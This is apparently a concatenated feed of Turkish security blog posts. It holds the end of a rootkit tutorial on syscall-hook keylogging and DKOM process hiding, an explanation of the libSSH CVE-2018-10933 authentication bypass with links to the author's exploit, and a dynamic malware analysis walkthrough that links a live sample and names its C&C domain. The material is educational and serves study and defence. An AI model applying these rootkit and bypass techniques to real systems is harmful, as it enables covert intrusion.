<p>Gördüğünüz gibi <strong>Giriş Bilgi</strong>‘leri <strong>Kernel</strong> içerisinde kayıt altında tutuldu ve biz <strong>Şifre</strong>‘yi bilmesekte göremesekte bu şekilde bulmuş olduk.</p>
<p>Basit bir şekilde <strong>Keystroke Logging</strong>‘i gerçekleştirmek için yollardan biri olan <strong>read</strong> sistem çağrısını <strong>Hook</strong> ettik.</p>
<h1 id="kernel-object-nedir-">Kernel Object Nedir ?</h1>
<p>Bir <strong>Kernel</strong> yani <strong>Çekirdek</strong> geliştiriciye kendisinden birçok özellik sunmaktadır örneğin (Process, Socket, Thread, Mutex) vs… gibi.</p>
<p><strong>Object</strong>‘ler yani <strong>Nesne</strong>‘lerde bunlardan biridir.</p>
<p>Bir <strong>Kernel</strong> nesnesi basitce bir <strong>Memory Block</strong>‘tur. Yani bir <strong>Structure</strong> yani <strong>Yapı</strong> düşünün ve bu yapının içerisinde <strong>Nesne</strong> yani <strong>Object</strong> hakkında bilgilerin tutulduğunu. Ve bu bilgileri tutan birçok <strong>Alan</strong> olduğunu.</p>
<p>Örneğin <strong>Object</strong>‘lere örnek olması için (ID, Process Object) gibi terimler gösterilebilir.</p>
<p>Yada daha güzel bir örnek olması için aşşağıdaki resme bakabiliriz :</p>
<p><img src="https://resmim.net/f/4pgDMX.jpg" alt="" /></p>
<p>Yukarıdaki liste <strong>Windows İşletim Sistemi</strong> içerisindeki <strong>Nesne</strong>‘lerdir. Bu <strong>Nesne</strong>‘lerin <strong>Manipulasyon</strong>‘u mümkündür.</p>
<p>Bu <strong>Manipulasyon</strong> işlemi için aşşağıdaki başlığı inceleyelim.</p>
<h2 id="direct-kernel-object-manipulation">Direct Kernel Object Manipulation</h2>
<p>Bu <strong>Nesne</strong>‘leri <strong>Direkt</strong> olarak <strong>Manipule</strong> etmeye <strong>Direct Kernel Object Manipulation</strong> adı verilir.</p>
<p>Basitçe <strong>Windows</strong> için <strong>Processes</strong>, <strong>Drivers</strong>, <strong>Files</strong> ve <strong>intermediate connection</strong>‘ları <strong>Task Manager</strong> ve <strong>Event Scheduler</strong>‘den gizlemek içi bir <strong>Rootkit</strong> tekniğidir.</p>
<p>Kısaltması <strong>DKOM</strong>‘dur ve <strong>*DKOM</strong>‘un içerik listesi aşşağıdaki gibidir :</p>
<ul>
<li><strong>Hide process</strong></li>
<li><strong>Hide drivers</strong></li>
<li><strong>Hide ports</strong></li>
<li><strong>Elevate privilege level of threads and processes</strong></li>
<li><strong>Skew forensics</strong></li>
<li><strong>Full control of system</strong></li>
</ul>
<p><strong>Veri Yapı</strong>‘larını yani <strong>Data Structure</strong>‘lerini <strong>Manipule</strong> edeceğimizden <strong>DKOM</strong> bize <strong>Process</strong>, <strong>Driver</strong>, <strong>Port</strong> gibi terimleri <strong>İşletim Sistemi</strong> içerisinde gizlememizi sağlayabilir.</p>
<p>İlk üçü bu şekilde. Diğerleri ise isimlerindende anlaşılabileceği gibi <strong>Yetki Seviyesi Yükseltmek</strong>, <strong>Adli Tıp*, **Sistemin Tüm Kontrolu</strong> gibi durumları baz alıyor.</p>
<p><strong>Data Structure</strong>‘lerini <strong>Manipule</strong> ederek <strong>DKOM</strong> sayesinde üstünden gelebileceğimiz çoğu şey böyle.</p>
<p>Daha da basit anlatırsam örneğin <strong>EPROCESS Data Structure</strong>‘sini <strong>DKOM</strong> tekniği ile manipule etmek istersek şayet :</p>
<p><img src="http://i159.photobucket.com/albums/t141/sovietweasel/plist.jpg" alt="" /></p>
<p>Yukarıdaki <strong>Data Structure</strong>‘deki <strong>Forward link</strong> ve <strong>Back link</strong> kısımlarını <strong>Direkt</strong> olarak <strong>Manipule</strong> edip bizim <strong>Rootkit Process</strong>‘imizi <strong>Task Manager</strong> gibi <strong>Process</strong> görüntüleme araçlarından gizleyebiliyoruz.</p>
<p>Bazen <strong>Hooking</strong> tekniği işe yaramadığı zaman bir <strong>Sistem</strong>‘de diğer <strong>Rootkit</strong> tekniklerini kullanmamız gerekebiliyor ve bu tekniklerden biride <strong>DKOM</strong>‘dur.</p>
<p>Tabi bu kadar ile sınırlı değil. <strong>DKOM</strong>‘un daha derinlerine inmek isteyenler ve tekniği çok daha yakından tanımak isteyenlerimiz varsa bir <strong>Wikipedia</strong> kaynağı bırakıyorum alta.</p>
<p><a href="https://en.wikipedia.org/wiki/Direct_kernel_object_manipulation">Direct Kernel Object Manipulation (DKOM) wikipedia</a></p>
<h1 id="the-end">THE END</h1>
<p>Bu yazımızında sonuna geldik.</p>
<p>Çok fazla detaya girmeden <strong>Rootkit</strong> serimizin ilk partını bitirdik.</p>
<p><strong>Part 2</strong>‘de daha da teknik detaya gireceğiz. Bir <strong>Rootkit</strong>‘i başından sonuna nasıl geliştirebileceğimiz nelere dikkat etmemiz gerektiği gibi konulara ve daha bir çok teknik detaya değineceğiz.</p>
<p>Sorular için : <a href="https://www.twitter.com/0DAYanc">Twitter @0DAYanc</a></p>Rootkit Development - (Part 1)libSSH(CVE-2018-10933) Zafiyeti, Exploit Geliştirme ve CVE üzerine2019-05-24T00:00:00+00:002019-05-24T00:00:00+00:00blacknbunny.github.io/2019/05/24/cve-analizi-ve-exploit-development<h1 id="libsshcve-2018-10933-zafiyeti-exploit-geliştirme-ve-cve-üzerine">libSSH(CVE-2018-10933) Zafiyeti, Exploit Geliştirme ve CVE üzerine</h1>
<p>Hoşgeldiniz.</p>
<p>Bu yazımda biraz uzun süredir bilişim alanıda bahsedilen <strong>CVE-2018-10933</strong>(libSSH-RCE) zafiyetinden, biraz <strong>Exploit</strong> geliştirilmesinden ve biraz da <strong>CVE</strong>‘lerden bahsedeceğim.</p>
<h1 id="libssh-nedir-">libSSH Nedir ?</h1>
<p><strong>libSSH</strong> basit bir şekilde <strong>C</strong> ile yazılmış bir kütüphanedir ve bu kütüphane <strong>Protocol</strong> olarak şuanda <strong>SSHv2</strong> protokolünü kullanmaktadır.</p>
<p>Sunucular bu kütüphaneyi kullanarak <strong>Client</strong> ve <strong>Server</strong> tarafında <strong>SSH</strong> bağlantıları oluşturmaktadır.</p>
<h1 id="zzzzzzzzzzzzzzzzzzzz">zZzZzZzZzZzZzZzZzZzZ</h1>
<p>Çok kısa bir süre öncesinde internet üzerinde <strong>Peter Winter-Smith</strong> tarafından ortaya çıkarılmış bir zafiyettir bu.</p>
<p>Bu zafiyetin içeriğini basit bir şekilde anlatacak olursam şayet :</p>
<p><img src="https://resmim.net/f/JUzxiw.jpg" alt="" /></p>
<p>Basit bir şekilde <strong>Sandviç</strong> istediğimizde <strong>Hayır</strong> deniliyor şayet <strong>Sandviç Success</strong> dediğimizde şartsız bir şekilde karşıdaki hemen yapayım efendim diyor.</p>
<p>Yani daha da teknik bir şekilde açıklarsam bir <strong>Sunucu</strong> içerisine <strong>Kullanıcı Adı</strong> ve <strong>Şifre</strong> vermeden sadece karşıya <strong>MSG_USERAUTH_SUCCESS</strong> diyerek girebiliyoruz.</p>
<p>Daha da basit şekilde <strong>libSSH</strong>‘in <strong>0.6</strong> versiyonun sonrasını kullanan tüm <strong>Sunucu</strong>‘lara kullanıcı bilgilerini vermeden giriş yapabiliyorduk.</p>
<p>Ve buda bilişim alanın da çok büyük bir yankı oluşturdu.</p>
<h1 id="zafiyetin-ortaya-çıktığını-nasıl-bulup-sömürü-kodunu-geliştirdim-">Zafiyetin ortaya çıktığını nasıl bulup sömürü kodunu geliştirdim ?</h1>
<p>Bu <strong>zafiyet</strong>‘i her saniye yenilenen <strong>CVE</strong> listesini incelerken aniden gördüm.</p>
<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2018-10933">libSSH CVE</a></p>
<p>Ve <strong>libSSH</strong>‘te bulunan zafiyetin ne olduğuna dair bir açıklama bulunduğundan hemen onu okumaya koyuldum.</p>
<p>Açıklama :</p>
<p><strong>A vulnerability was found in libssh’s server-side state machine before versions 0.7.6 and 0.8.4. A malicious client could create channels without first performing authentication, resulting in unauthorized access.</strong></p>
<p>Ve hızlı bir şekilde <strong>libSSH</strong> kütüphanesinin kodlarını incelemeye başladım.</p>
<p>Bu kodlar içinde şu kısım çok ilgimi çekti :</p>
<p><img src="https://resmim.net/f/zfy1mC.png" alt="" /></p>
<p>Çünkü bu kısımda geçen diyalog basit bir şekilde şöyle :</p>
<p>Eğer oturum içerisinde <strong>SSH_AUTH_STATE_SUCCESS</strong> mevcut ise <strong>Kullanıcı Adı</strong> ve <strong>Şifre</strong> istemeden girişi gerçekleştir.</p>
<p>Bende bunu anladıktan sonra bir <strong>Exploit</strong> geliştirdim. Karşıda <strong>libSSH</strong> kullanan <strong>Sunucu</strong>‘da <strong>Komut</strong> çalıştırmayı basitleştirmek için.</p>
<p>Bu yazdığım <strong>Exploit</strong> twitterde çoğu yerde paylaşıldı ve <strong>Github</strong> içerisinde baya bir <strong>Star</strong> aldı.</p>
<p><strong>Github</strong>‘ta paylaştığım bu <strong>Exploit</strong>‘in linki : <a href="https://github.com/blacknbunny/libSSH-Authentication-Bypass">libSSH Exploit Github</a></p>
<p>Hatta twitterde <strong>16 yaşındaki dayanç soyadlı’nın libSSH için geliştirdiği exploit</strong> diye paylaşan arkadaşlar gördüm bu da beni sevindirdi :</p>
<p><img src="https://resmim.net/f/5G8VJu.png" alt="" /></p>
<p><strong>Exploit</strong>‘i yazdıktan sonra <strong>Shodan</strong> içerisinden baktığımda twitterde ne kadar <strong>6500</strong> tane potansiyel olarak hacklenmiş sistem olduğunu görsemde <strong>Shodan</strong>‘da bu sayı <strong>50,000</strong>‘i geçmişti.</p>
<p>Sevdiğim bir kanal olan <strong>Liveoverflow</strong> sahibiyle konuşurken <strong>libSSH</strong> hakkında video çekecekmisin sorusunu sorduğumda o kadar fazla yerde o kadar farklı şekilde anlatılmış ki bana gerek kalmadı dedi 😂 :</p>
<p><img src="https://resmim.net/f/Du3nof.png" alt="" /></p>
<p>Yazdığım <strong>exploit</strong> bir çok <strong>CVE</strong> listesinde yayımlanmış bulunmaktadır :</p>
<p><img src="https://resmim.net/f/Hzoku8.png" alt="" /></p>
<p>Aynı zamanda <strong>Exploti-DB</strong> içerisinde de yayınlandı : <a href="https://www.exploit-db.com/exploits/45638">libSSH Exploit</a></p>
<p>Şimdi gelelim bir <strong>CVE</strong>‘nin ne olduğuna bunun nasıl analizinin yapılacağına ve bunun için <strong>Exploit</strong>‘in nasıl geliştirileceğine.</p>
<h1 id="cve-nedir">CVE Nedir</h1>
<p><strong>CVE</strong> bilgi güvenliği zafiyetlerinin bir listesidir.</p>
<p>Daha basit bir şekilde bir <strong>Zafiyet</strong>‘in açıklandığı ve var ise şayet <strong>Exploit</strong>‘lerinin bulunduğu bir kayıttır.</p>
<p>Bir kaç tane <strong>CVE</strong> paylaşım sitesi :</p>
<p><a href="https://cve.mitre.org/cve/">CVE Mitre</a></p>
<p><a href="https://nvd.nist.gov/">CVE NVD</a></p>
<p><a href="https://www.cvedetails.com/bugtraq-list/">CVE details</a></p>
<h1 id="cve-analizi">CVE Analizi</h1>
<p>Öncelikle bir <strong>CVE</strong> bulalım.</p>
<p>Ben <strong>libSSH</strong>‘den başladığım için aynı şekilde devam edeceğim.</p>
<p><img src="https://resmim.net/f/90kjVo.png" alt="" /></p>
<p>Bu <strong>CVE</strong> listesi içerisinde benim <strong>Exploit</strong>‘ini yazdığım <strong>CVE</strong>‘nin <strong>ID</strong>‘si <strong>CVE-2018-10933</strong> basit bir şekilde daha bu <strong>CVE</strong>‘nin içerisine girmeden bu <strong>Zafiyet</strong>‘in ne olduğu açıklanıyor.</p>
<p>Bu <strong>CVE</strong> kaydına girip benimle ilerlemek isteyenler için link : <a href="https://www.cvedetails.com/cve/CVE-2018-10933/">CVE-2018-10933</a></p>
<p>Şimdi bu <strong>CVE</strong>‘nin içerisine girdikten sonra içerisinde <strong>CVE</strong>‘nin <strong>CVSS Score</strong>‘unu görebiliriz yani ne kadar <strong>Kritik</strong> olduğunu.</p>
<p><img src="https://resmim.net/f/R9izHT.png" alt="" /></p>
<p>Aynı zamanda bu <strong>Zafiyet</strong>‘ten etkilenen <strong>Product</strong>‘larıda görebiliyoruz :</p>
<p><img src="https://resmim.net/f/7SUpDm.png" alt="" /></p>
<p>Bu <strong>Zafiyet</strong> için bulunan <strong>Referans</strong>‘larıda görebiliyoruz ayrıca.</p>
<p>Bu <strong>Referans</strong>‘lar içerisinde <strong>Zafiyet</strong>‘in yazılmış ise <strong>Exploit</strong>‘ide bulunur.</p>
<p><img src="https://resmim.net/f/g6sR9C.png" alt="" /></p>
<p>Burada bulunan <strong>Exploit-DB</strong> linki benim size başta bahsettiğim kendi yazdığım <strong>Exploit</strong>‘tir.</p>
<p>Şimdi bu <strong>Exploit</strong>‘i nasıl geliştirdiğime yani bir <strong>CVE</strong>‘nin <strong>Analiz</strong>‘i sonrası o <strong>CVE</strong> için <strong>Exploit</strong>‘in nasıl geliştirileceğinden bahsedeceğim.</p>
<h1 id="exploit-development">Exploit Development</h1>
<p>Daha derine inmeden önce size basit bir şekilde bir <strong>Exploit</strong>‘in ne olduğundan ve nasıl geliştirilebileceğinden bahsetmek istiyorum.</p>
<h4 id="exploit-nedir-">Exploit nedir ?</h4>
<p>Bir <strong>Exploit</strong> genellikle <strong>Zafiyet</strong> içeren bir kodu sömürmek için geliştirilen bir kod parçasıdır.</p>
<h4 id="exploit-development-nedir-">Exploit Development Nedir ?</h4>
<p><strong>Zafiyet</strong> içerilen kodu <strong>Analiz</strong> ettikten sonra bu kodu sömürge için kullanılacak kodu geliştirmektir.</p>
<p>Daha da açarsam konuyu <strong>Exploit</strong> geliştirmek için bu sömürge kod parçasını yazacağınız <strong>Zafiyeti</strong> ve bu <strong>Zafiyet</strong>‘in <strong>Kod</strong>‘unu kavramanız gerekmektedir.</p>
<h4 id="libssh-zafiyetinin-sömürü-kodunu-nasıl-geliştirdim--biraz-daha-teknik">libSSH zafiyetinin sömürü kodunu nasıl geliştirdim ? (biraz daha teknik)</h4>
<p>Dediğim gibi <strong>CVE</strong> listelerinde gezerken denk geldim ve <strong>libSSH</strong> bir kütüphane olduğundan <strong>Authentication</strong> yapılan kısımları incelemeye başladım bu kütüphane içerisinde.</p>
<p>Yani gerçekleştirilecek oturum yani <strong>Session</strong> için kütüphane içerisinde var olan <strong>Giriş</strong>, <strong>Çıkış</strong> ve <strong>Kontrol</strong> kodlarını incelemeye başladım.</p>
<p>Ve bu kodlar içerisinde baştada resmini verdiğim <strong>Kaynak Kod</strong>‘una denk geldim.</p>
<p><strong>libSSH</strong> içerisinde bulunan şu küçük <strong>Kod Parça</strong>‘sı benim gerekli olan <strong>Exploit</strong>‘i geliştirmemi sağladı diyebilirim :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SSH_PACKET_CALLBACK(ssh_packet_userauth_success)
(void)packet;
(void)type;
(void)user;
SSH_LOG(SSH_LOG_DEBUG, "Authentication successful");
SSH_LOG(SSH_LOG_TRACE, "Received SSH_USERAUTH_SUCCESS");
session->auth.state = SSH_AUTH_STATE_SUCCESS;
</code></pre></div></div>
<p>Burada gördüğünüz <strong>Kaynak Kod</strong> basit bir şekilde eğer dışarıdan <strong>libSSH</strong> çalıştırılan sunucu içerisinde <strong>SSH_AUTH_STATE_SUCCESS</strong> byte’ı eklenirse aşşağıdaki kodu çalıştır diyor :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>session-> auth.state = SSH_AUTH_STATE_SUCCESS;
</code></pre></div></div>
<p>Ve bu <strong>Kod</strong> ise basit bir şekilde <strong>session</strong> içerisinde bulunan <strong>auth</strong> objesindeki <strong>state</strong> değişkenine <strong>SSH_AUTH_STATE_SUCCESS</strong> byte’ını ekliyor.</p>
<p>Buda demek ki sunucuya gönderdiğimiz <strong>SSH_AUTH_STATE_SUCCESS</strong> byte’ı bizi sunucu’ya <strong>Kullanıcı Adı</strong> ve <strong>Şifre</strong> vermeden sokabilecek.</p>
<p>Bende <strong>CVE</strong>‘de ki açıklamayı okuduktan sonra <strong>libSSH</strong> içerisindeki <strong>Kaynak Kod</strong>‘ları inceledikten sonra <strong>Exploit</strong>‘i geliştirmek için <strong>Zafiyet</strong>‘i bu şekilde kavradım.</p>
<p>Ve sömürge kodunu geliştirdim.</p>
<p>Şimdi daha da derine inip sizlerin nasıl <strong>Exploit</strong> geliştirebileceğinden bahsedeyim.</p>
<h1 id="exploit-development-1">Exploit Development</h1>
<p>Öncelikle <strong>Kaynak Kod</strong> okumaya aşina olmanız gerek.</p>
<p>Çok çok önceden var olan bir söz vardır.</p>
<p><strong>Bir hacker programcıdan daha iyi programlaya bildiği ve bunu tersine kullana bildiği için hackerdir.</strong></p>
<p>Yani basit bir şekilde sizlerin <strong>Sömürge Kod</strong>‘unu geliştirmeniz için <strong>Kaynak Kod</strong>‘u okumaya aşina olmanız gerek.</p>
<p>Kendi <strong>Exploit</strong>‘lerinizi geliştirmek için <strong>Zafiyet</strong>‘i illaki sizin bulmanız gerekmez.</p>
<p>Yalnız bir hedef’e <strong>Saldırmadan</strong> önce o hedefi <strong>Tanımanız</strong> gereklidir.</p>
<p>Bir çok</p>
<ul>
<li>FTP</li>
<li>SMTP</li>
<li>SSH</li>
<li>HTTP</li>
<li>vs…</li>
</ul>
<p><strong>Exploit</strong> kodu görebiliyorum internet’te yalnız bu <strong>Exploit</strong> geliştirenlerin 0’dan bir <strong>FTP</strong> ya da <strong>SMTP</strong> vs… <strong>Server</strong>‘i ya da <strong>Client</strong>‘i geliştirebileni <strong>%5</strong>‘lik hisse.</p>
<p>Dolayısı ile <strong>Zafiyet</strong>‘i tanımak ve buna gerekli <strong>Exploit</strong>‘i geliştirebilmeniz için <strong>Teknoloji</strong>‘yi kendiniz yazmış gibi tanımanız gerekmekte.</p>
<h1 id="the-end">THE END</h1>
<p>Bu yazımızında sonuna geldik.</p>
<p>Bir <strong>CVE</strong>‘nin ne olduğundan ve bunun <strong>Analizi</strong>‘nin nasıl yapılacağından aynı zamanda <strong>Zafiyet</strong>‘ler için nasıl <strong>Sömürge Kodu</strong> yani <strong>Exploit</strong> geliştirilebileceğinden bahsettim.</p>
<p>Sorularınız mevcut ise : <a href="https://twitter.com/0DAYanc">Twitter</a></p>libSSH(CVE-2018-10933) Zafiyeti, Exploit Geliştirme ve CVE üzerineMalware Analysis - Dynamic Analysis (Part 3)2019-05-20T00:00:00+00:002019-05-20T00:00:00+00:00blacknbunny.github.io/2019/05/20/malware-analysis-part-3<h1 id="malware-analysis---dynamic-analysis-part-3">Malware Analysis - Dynamic Analysis (Part 3)</h1>
<p>Merhaba arkadaşlar <strong>Malware Analizi</strong> serimin üçüncü part’ına hoşgeldiniz.</p>
<p>Bu partımızda artık canlı bir <strong>Malware</strong> üzerinde işlemler gerçekleştireceğiz.</p>
<p>İlk part’ımızda anlattığım gibi <strong>Statik</strong> denildiğinde çalıştırmadan <strong>Dinamik</strong> denildiğinde ise çalıştırdıktan sonra analizini gerçekleştiriyoruz.</p>
<p>Bu yazım içerisinde artık <strong>Sanal Makine</strong> içerisinde testler gerçekleştireceğiz o yüzden <strong>Win 7</strong> ve <strong>REMnux</strong> işletim sistemlerini kurduğunuzu varsayıyorum.</p>
<p><strong>Win 7</strong> içerisinden bir görsel :</p>
<p><img src="https://resmim.net/f/mvpoDx.png?nocache" alt="" /></p>
<p><strong>REMnux</strong> içerisinden bir görsel :</p>
<p><img src="https://resmim.net/f/VWc9OJ.png" alt="" /></p>
<p>Yazımıza başlamadan önce ilk part’ımızı okuduğunuzu ve <strong>Güvenli</strong> bir ortam kurduğunuzu varsayıyorum.</p>
<p>Eğer kurmadıysanız sizi ilk part’ımıza alalım : <a href="https://blacknbunny.github.io/2019/05/16/malware-analysis-part-1.html">Malware Analysis - Lab Setup (Part 1)</a></p>
<p><strong>Malware</strong>‘nin dışa yayılmayacağından eminsek yavaştan yazımıza geçebiliriz demektir.</p>
<h2 id="dinamik-analizin-bize-sağladıkları">Dinamik Analizin Bize Sağladıkları</h2>
<p><strong>Statik</strong> analizden farklı olarak <strong>Malware</strong>‘yi çalıştıracağımızdan <strong>Malware</strong>‘nin sistem içerisinde neler gerçekleştirdiğini daha iyi inceleyebileceğiz sonuçları <strong>Monitoring</strong> ederek yani izleyerek.</p>
<p>Öncelikle <strong>Malware</strong>‘mizi nasıl izleyebileceğimizden bahsetmeden önce <strong>Escape</strong> kelimesinden okurlarıma bahsetmek istiyorum.</p>
<p><strong>Virtual Machine Escape</strong></p>
<ul>
<li>
<p><strong>Sanal Makine</strong>‘mizde çalıştıracağımız <strong>Malware</strong>‘yi asıl bilgisayarımızdan ve bu bilgisayarımızın <strong>Network</strong>‘ünden izole ettik yalnız hala <strong>%100</strong> güvende değiliz.</p>
</li>
<li>
<p>Sebebide bazı <strong>Malware</strong> geliştiricilerinin biraz akıllı davranması.</p>
</li>
<li>
<p>Bir <strong>Malware</strong> çalıştığı yerin <strong>Sanal Makine</strong> veya <strong>Gerçek Bir Sistem</strong> olduğunu anlayabilir. Ve anlamakla kalmayıp aynı zamanda eğer kendisi <strong>Sanal Makine</strong> içerisindeyse asıl makinemize geçmek için bazı <strong>Zafiyet</strong>‘leri veya <strong>Teknik</strong>‘leri kullanabilir.</p>
</li>
<li>
<p>Bunu önlemek içinde <strong>Statik Analiz</strong> ile çalıştırmadan önce incelememiz çok önemli. Avcıyken avlanmak istemeyiz.</p>
</li>
<li>
<p>Bu yazı içerisinde benim internetten bulduğum <strong>Malware</strong> bu gibi işlemlere kalkışmıyor. Dolayısıyla böyle bir duruma maruz kalmayacağız.</p>
</li>
</ul>
<p><strong>VM Escape</strong>‘in daha da derinlerine girecek olursak şayet :</p>
<p><img src="https://resmim.net/f/o7IRf4.png?nocache" alt="" /></p>
<p>Katmanlar arasında geçiş sağlayan <strong>Saldırılar</strong> denilebilir bunlara.</p>
<p><strong>Hypervisor</strong>‘dan <strong>Operating System</strong>‘imize giden yolu açan <strong>Saldırı</strong>‘lara <strong>Virtual Machine Escape</strong> adı verilebilir.</p>
<p>İlerideki safhalarda yukarıda bahsettiğim <strong>Malware</strong>‘nin linkini sizlere vereceğim benimle beraber adım adım ilerlemeniz için.</p>
<p><strong>Dinamik Analiz</strong>‘in bize sunduklarına gelirsek şayet.</p>
<p>Canlı olarak <strong>Malware</strong>‘yi çalıştıracağımızdan :</p>
<ul>
<li><strong>Process</strong></li>
<li><strong>Registry</strong></li>
<li><strong>File System</strong></li>
<li><strong>Network</strong></li>
<li><strong>Debugging</strong></li>
</ul>
<p>Yukarıda saydıklarımın ne gibi <strong>Aktivite</strong>‘lerde bulunacağını izleyebileceğiz.</p>
<p>Terimlere dahada derinden bakıp yavaştan <strong>Malware</strong>‘mizi <strong>Monitor</strong> etmeye başlamadan önce <strong>Malware</strong>‘nin linkini vereyim : <a href="https://app.any.run/tasks/a5eeea09-1e5d-4538-98a2-b1f23c6baaf6/">Malware Sample app.any.run</a></p>
<p>Buradaki <strong>Sample</strong> butonundan <strong>Malware</strong>‘yi indirebilirsiniz.</p>
<p><strong>Rar</strong>‘ın şifresi <strong>infected</strong>.</p>
<h4 id="process-monitoring">Process Monitoring</h4>
<p><strong>Malware</strong>‘miz <strong>Process</strong> olarak çalışmaya başladıktan sonra bu <strong>Process</strong>‘in ne gibi <strong>Aktivite</strong>‘lerde bulunduğunu incelemek diyebiliriz buna kısaca.</p>
<p>Bunu yapmak içinde benim sıkça kullandığım <strong>Tool</strong>‘u indirmek için : <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/procmon">Sysinternals Procmon</a></p>
<p>Ayrıca bu <strong>Tool</strong> yukarıda isimlerini saydığımız <strong>Registry</strong>, <strong>File System</strong>, <strong>Network</strong> aktivitelerinide izlememizi sağlıyor.</p>
<p><strong>Win 7</strong>‘ye kurup açtıktan sonra <strong>Malware</strong>‘mizin <strong>Process</strong>‘inin <strong>Monitor</strong> edilmesinden sonraki çıktı :</p>
<p><img src="https://resmim.net/f/5t7yc5.png?nocache" alt="" /></p>
<p>Bu kısımda görebiliriz ki <strong>Malware</strong>‘miz <strong>Registry</strong> içerisinde bazı işlemler yapıyor. Aynı zamanda <strong>Operation</strong> kısmına dikkat edersek <strong>LoadImage</strong>, <strong>CreateFile</strong> gibi işlemlerinde <strong>Process</strong>‘imiz içerisinde geçtiğini görebiliriz.</p>
<p>Ayrıca <strong>PID</strong> kısmına dikkat edersek <strong>Ana Process</strong>‘in altında ayrı bir <strong>malware_sample.exe</strong> adında <strong>Process</strong> daha oluşturulmuş. Bunu farklı <strong>PID</strong>‘ler ile anladım ben yalnız bunu <strong>Procmon</strong> içerisinde <strong>Process</strong>‘in <strong>Properties</strong>‘inden <strong>Stack</strong> kısmına bakarakda anlayabilirsiniz.</p>
<p><img src="https://resmim.net/f/BIzJrm.png?nocache" alt="Process Özellikleri" /></p>
<p>Yukarıdaki şekilde <strong>Process</strong>‘in <strong>Özellik</strong>‘lerine girdiğimizde <strong>Stack</strong> kısmına tıklıyoruz.</p>
<p><img src="https://resmim.net/f/4J7p9q.png?nocache" alt="DLL & Function kullanımı" /></p>
<p>Ve burada basit bir şekilde gözlemleyebiliyoruz <strong>Process</strong>‘in gerçekleştirdiği <strong>Operasyon</strong>‘un hangi <strong>DLL</strong>‘ler ve <strong>Fonksiyon</strong>‘lar tarafından uygulandığını.</p>
<p>Basit bir şekilde <strong>Malware</strong>‘mizin alt bir <strong>Process</strong> oluşturduğunu görebiliriz.</p>
<p>Bu arada şunuda söylemeliyim ki bu <strong>Malware</strong>‘yi ilk kez izliyorum blog’u yazarken inceleyip yazıyorum.</p>
<h4 id="registry-monitoring">Registry Monitoring</h4>
<p>Bir <strong>Malware</strong>‘nin <strong>Dinamik Analizi</strong>‘ni gerçekleştiriyorsak şayet bakmamız gereken önemli noktalardan biri <strong>Registry</strong> değişiklikleridir.</p>
<p><img src="https://resmim.net/f/dGDgaW.png?nocache" alt="" /></p>
<p>Bu <strong>Malware</strong> içerisinde herhangi bir şekilde <strong>Registry</strong> değişikliği yok. Sadece <strong>Registry</strong> değeri okuma mevcut.</p>
<ul>
<li>HKLM\System\CurrentControlSet\Session Manager</li>
<li>HKLM\System\CurrentControlSet\Control\Safeboot</li>
<li>vs…</li>
</ul>
<p>Gibi <strong>Registry Value</strong>‘lerini okuyor. Yalnız hiçbir değişiklik yok.</p>
<p><strong>Registry</strong> değişiklikleri <strong>Dinamik Malware Analizi</strong>‘nde çok önemlidir. Bu <strong>Malware Sample</strong>‘mizde herhangi bir değişiklik bulamasakta bakılması ve incelenmesi gereken yerlerden biridir.</p>
<h4 id="file-system-monitoring">File System Monitoring</h4>
<p><strong>File System Monitoring</strong>‘i gerçekleştirmek için <strong>Procmon</strong> içerisindeki butonlardan <strong>FS Activity</strong> kısmını seçmemiz yeterli :</p>
<p><img src="https://resmim.net/f/H00Rsw.png?nocache" alt="" /></p>
<p><strong>Malware</strong>‘mizin burada gerçekleştirdiği bir çok dosya <strong>okuma</strong>, <strong>oluşturma</strong>, <strong>yeniden yazma</strong> gerçekleştirdiğini görebiliriz.</p>
<p>Bunların arasından benim ilgimi en çok çeken <strong>System32</strong> içerisinde :</p>
<ul>
<li><strong>WSOCK32.dll</strong></li>
<li><strong>netapi32.dll</strong></li>
<li><strong>netutils.dll</strong></li>
</ul>
<p><strong>Kütüphane</strong>‘lerini oluşturması.</p>
<p>Bu <strong>DLL</strong>‘lerden <strong>Malware</strong>‘nin <strong>İnternet</strong> üzerinden birşeyler döndürdüğünü anlamak basit.</p>
<h4 id="network-monitoring">Network Monitoring</h4>
<p>Bakalım <strong>Malware</strong>‘miz internet üzerinden neler çeviriyor.</p>
<p><strong>REMnux</strong>‘u açıp <strong>fakedns</strong> ve <strong>inetsim</strong> komutlarını çalıştıralım.</p>
<p>Bu sayede sahte <strong>DNS</strong>, <strong>HTTP</strong>, <strong>FTP</strong> vs.. gibi sunucumuz çalışacak ve <strong>Win 7</strong> içerisinden <strong>Malware</strong>‘nin gerçekleştirdiği tüm <strong>Network Istek</strong>‘leri bizim <strong>REMnux</strong>‘umuza yönlendirilecek.</p>
<p><strong>fakedns</strong>
<img src="https://resmim.net/f/jPs7ZM.png?nocache" alt="fakedns" /></p>
<p><strong>Inetsim</strong>
<img src="https://resmim.net/f/Pu2ze0.png?nocache" alt="inetsim" /></p>
<p>Şimdi <strong>Malware</strong>‘mizi tekrar çalıştırıp yapacağı <strong>Request</strong>‘leri izlemeye koyulabiliriz.</p>
<p><img src="https://resmim.net/f/cfYd2N.png?nocache" alt="" /></p>
<p>Sahte <strong>DNS</strong> sunucumuza gelen istekleri incelediğimiz zaman görebiliriz ki :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>tain0077.warzonedns.com
</code></pre></div></div>
<p><strong>DNS</strong> sunucusuna <strong>Malware</strong>‘miz tekrar tekrar istek gönderiyor.</p>
<p>Bunun dışındaki istekler <strong>Windows</strong> ile alakalı tek önemli <strong>DNS Request</strong>‘i şuan bu bizim için.</p>
<p>İnternet’ten bu <strong>DNS</strong> sunucusuna ulaşmak istediğimde bu yerin kapandığını gördüm.</p>
<p>Muhtemelen <strong>Malware</strong>‘mizin <strong>C&C</strong> yani <strong>Command and Control Server</strong>‘iydi.</p>
<p>Bu <strong>C&C</strong> server’i ne kadar kapanmış olsada <strong>DNS</strong> üzerinden ne gibi bir bağlantı kurup neleri yönlendirdiğini görmek için yavaştan bu <strong>Malware</strong>‘yi <strong>Debug</strong> etmeye başlayalım.</p>
<h4 id="debugging">Debugging</h4>
<p>Bir önceki <strong>Statik Analiz</strong> part’ımızda <strong>Packing</strong>‘den bahsettik.</p>
